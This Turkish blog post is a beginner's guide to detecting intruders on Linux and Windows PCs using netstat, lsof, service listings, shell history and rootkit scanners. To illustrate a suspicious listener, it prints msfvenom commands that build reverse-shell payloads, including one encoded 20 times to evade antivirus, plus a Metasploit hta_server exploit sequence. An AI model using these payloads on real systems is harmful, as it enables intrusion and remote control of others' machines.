Kişisel Bilgisayarlar Üzerinde Siber Güvenlik Tehditlerini Tespit Etme — Linux/Windows İpuçları

Osman Kandemir
6 min readDec 12, 2021

Merhabalar, bu blog yazısında kişisel bilgisayarlardaki siber saldırganların tespiti konusu ele alınmış ve yüzeysel bir şekilde teknik analiz adımlarından bahsedilmiştir.

Başlıklar

Linux Tabanlı İşletim Sistemleri

  • Oturum Kontrolleri
  • Servis Kontrolleri
  • Geçmiş Terminal Komutları
  • Uygulamalarla Birlikte Zararlı Servislerin Kontrolleri

Windows Tabanlı İşletim Sistemleri

  • Servis Kontrolleri
  • Yüzelsel Zararlı Uygulama Tespiti
  • TCP/UDP Paket İçerikli Trafiklerin İncelenmesi

Sistemler : Ubuntu 20.04.3 LTS , Windows 10 Pro

Linux Tabanlı İşletim Sistemleri

1-Oturum Kontrolleri

Şekil 1

Terminal : w

Kullanıcıların oturum bilgileri ve kullanıcı süreç bilgileri görüntülenebilir.(Şekil 1)

İPUCU: FROM sütununde, Public IP veya kişisel bilgisayarın Local IP adresi hariç, subnet’e ait başka IP adresi varsa, kişisel bilgisayara uzaktan veya yerel ağ üzerinden erişim yapıldığı anlamına gelmektedir.

2-Servis Kontrolleri

Linux kullanıcıları, işletim sistemlerindeki servisleri yüzeysel bir perspektifle kontrol edebilirler.

İPUCU: Kişisel bilgisayarlarda hangi servislerin veya uygulamaların çalıştığının bilinmesi ve yorumlanması, dış ve iç tehdit unsurlarından (Malware, Rootkit, Botnet Ağı, Crypto Mining vb.) korunmanın yüzeysel birinci adımıdır.

Şekil 1

Terminal : netstat -tupl

-tupl : TCP ve UDP Protokollerini (-tu) Kullanan Servisleri, Portları (-p) ve Dinlenen Servisleri Listele.(-l)

Ağ istatistiklerinin görüntülendiği netstat aracıyla, hangi portta hangi servis çalışıyor incelenebilir.

Senaryo amaçlı Şekil 1'de dinlenen (LISTEN) servisleri inceleyip yorumlayabiliriz:

1.Serviste Docker üzerinde çalışan bir uygulama görülmektedir. “docker ps -aq “ komutuyla çalışan Docker konteynırları incelenebilir.

2.Serviste Linux tabanlı işletim sisteminin DNS servisinin çalıştığı görülmektedir.

3.Serviste, Linux tabanlı işletim sistemlerine varsayılan olarak gelen IPP (Internet Printing Protocol ) protokolünü kullanan cupsd(Common UNIX Printing System) uygulamasının çalıştığı görülmektedir. Yazıcıları yerel ağ üzerinden kontrol etmek için kullanılan servisin üzerindeki uygulamadır.

4.Serviste 5433 portunda, postgresql veritabanı servisi çalıştığı görülmektedir.

5. Serviste yapılan port araştırması sonucunda (Kaynak 2), genellikle 4444 portunu kullanan bir metasploit dinleme bağlantı noktası görülmektedir. Port ayrıntılı incelendiğinde, zararlı bir işlemin gerçekleştirildiği veya gerçekleştirilebileceğinin anlaşılması gerekiyor.

kill -9 779857 komutuyla zararlı servis uygulaması kapatılabilir.

Msfvenom’da oluşturulan, Unix tabanlı yürütülebilir,bağlanabilir biçim formatındaki (elf) zararlı uygulama ile örnek gösterilmiştir. Unix tabanlı diğer reverse shell exploit’leride örnek olarak gösterilebilirdi.

Terminal : msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.222 LPORT=4444 -f elf > zararli-x86.elf

6. Serviste, Docker üzerinde yerel IPv6 ( [::]:* ) protokol adresiyle çalışan bir uygulama görülmektedir.

7.Serviste, IPP protokolünü kullanan yerel ağ yazıcı uygulamasının, IPv6 ( [::]:* ) adresiyle çalıştığı görülmektedir.

— — — — — — — — — — — — — — — — — — — — — — — — — —

Şekil 2

Terminal : lsof -p <PID>

Diğer kontrol edilmesi gereken durum ise process süreçleridir. Process süreçlerinin, hangi dosyaları kullanarak çalıştığını, çalışma PID’si kullanılarak sorgulanabilir.(Şekil 2)

.so dosyaları genellikle GNU’nun bir parçası olan “gcc” derleyicisiyle oluşturulan, işlevleri belirleyen paylaşım kütüphaneleridir. Windows’ta .dll dosyalarıyla eş mantıklıdır.

Detaylı analiz yapmak için dosyalar ve süreçler takip edilip araştırılabilir.

— — — — — — — — — — — — — — — — — — — — — — — — — —

Şekil 3

Diğer bir durum, Linux tabanlı işletim sistemi başlangıçlarında çalışan ve çalışmayan servislerin kontrol edilmesidir. İşletim sistemi ve ağ bilgisi orta derecede olan bir kişinin bir bakışta anlayabileceği, anormal uygulama keşfi olarak adlandırılabilir.

Terminal : service — status-all

Servis isimleri kullanılarak, işlevlerin araştırılması ile sistemde ihtiyaca göre çalışması gerekmeyen veya sakıncalı görülen servisler systemctl stop <service-name>, systemctl disabled <service-name> komutlarıyla durdurabilir ve sistem başlangıç açılışlarından kapatılabilir.(Şekil 3)

— — — — — — — — — — — — — — — — — — — — — — — — — —

İleri Seviye

İleri seviye süreçlerden bahsetmek gerekirse, adımlar ve yardımcı linkler aşağıda belirtilmiştir.

  • Linux Process Injection Techniques
  • Linux Malware Detection Analysis

https://security.cse.iitk.ac.in/sites/default/files/16111031.pdf

https://www.youtube.com/watch?v=RvBj8C5okp0

3-Geçmiş Terminal Komut Kontrolleri

Şekil 4

Terminal : history
Terminal : cat .bash_history

Geçmiş kullanılmış terminal komutları incelenebilir.

İPUCU: Gerçek kullanıcıya ait olmayan komut kullanımı söz dizimi, gerçek kullanıcı tarafından tahmin edilebilir. Belirli aralıklarla, komut söz dizimine göz atmak faydalı olacaktır (Göz Aşinalığı). Farklı komutların girildiği bu yöntemle anlaşılmaya çalışılabilir (Şekil 4).

4-Uygulamalarla Birlikte Zararlı Servislerin Kontrolleri

Linux tabanlı dağıtımların, yardımcı uygulamalarla da zararlı servislerin kontrolleri yapılabilir (Chkrootkit, Lynis, ClamAV vb.). Perspektif bakış açısıyla gerçekleştirdiğimiz adımlar birinci tercih olmalıdır. İkinci tercih olarak bu tür uygulamalar kullanılabilir.

Windows Tabanlı İşletim Sistemleri

Servis Kontrolleri

Şekil 5

Terminal : netstat -ano

Ağ bağlantı istatistik uygulaması yardımıyla çalışan servislerin PID numaralarını, görev yöneticisindeki PID numaralarıyla eşleştirilerek, process isimleri öğrenilebilir. Buradaki isimler yardımıyla işlevler araştırılarak kontrol edilebilir.

Yüzeysel, Zararlı Uygulama Tespiti

Msfvenom gibi zararlı payload üretme aracı ile oluşturulan zararlı uygulamalar encode edilip üstüne birde iterator (-i) ile üst üste encode edilmesi, antivirüslerin ve güvenlik uygulamalarının zararlı uygulamaları yakalamasında zorluk çıkartabilir.

Şekil 6

Aşağıda, Windows için zararlı arka bağlantı uygulamasını, iterator yardımıyla 20 defa üst üste encode yapmaya yarayan komutlar yer almaktadır.(Şekil 6)

Terminal : msfvenom -l encoders
Terminal : msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.222 LPORT=4444 -e x64/xor_dynamic -i 20 -f exe > /home/user/Desktop/zararli.exe

Yada

Şekil 7

windows/misc/hta_server exploit’i yardımıyla, powershell’de çalışan zararlı yürütülebilir HTML uygulaması örnek gösterilebilir. (Şekil 7)

Terminal : use exploit/windows/misc/hta_server
Terminal : exploit
Terminal : sessions -i 1

Şekil 8

Zararlı uygulama, çalışan servislerin incelenmesi sonucunda görülmektedir.(Şekil 8).

İPUCU : Bu gibi durumlarda, servislerin kontrolleri yapılabilir. Powershell.exe ve cmd.exe gibi kabukların sürekli çalışıp çalışmadığı görev yöneticisinden kontrol edilebilir. Windows Defender ve işletim sistemi güncelleştirmelerinin kapalı olmama durumu kontrol edilebilir. Cracklenmiş Windows ISO’larının kullanılmamasının fayda getireceği söylenebilir.

İleri Seviye

Windows’un çalışan uygulamalarına yapılan zararlı payload enjeksiyonlarına Process Injection ve DLL Injection denir. Process Injection ve DLL Injection konularına başka bir blog serisinde değinilebiliriz. Kaynak belirtmek gerekirse, aşağıdaki kaynaklara göz atılabilir. İlk başta belirttiğimiz gibi amacımız basit ve yüzeysel bir kontrol yapmaktır. İleri seviye bölümünde amaç, bir sonraki adım için yapılması gereken araştırma ve konulara değinmektir.

  • Windows Process Injection
  • Windows DLL Injection
  • Malware Analysis

https://pentestlab.blog/2017/04/04/dll-injection/

TCP/UDP Paket İçerikli Trafiklerin İncelenmesi

Windows işletim sisteminin hangi IP’ler üzerinde iletişim kurduğunun incelenmesi ve bu IP’lerin zararlı olup olmadığının kontrol edilmesi için aşağıdaki uygulamalar kullanılabilir.

Process Explorer

System Explorer

Kaynaklar

1-https://linuxhint.com/detect_linux_system_hacked/

2-https://www.speedguide.net/port.php?port=4444

3-https://kernelblog.org/2018/07/metasploit-msfvenomda-encoder-nedir-fud-islemleri/

4-https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/misc/hta_server

5-https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/

6-https://process-explorer.en.softonic.com/windows/alternatives

--

--

Osman Kandemir

#CyberSecurity #InformationSecurity #Python — Computer Engineer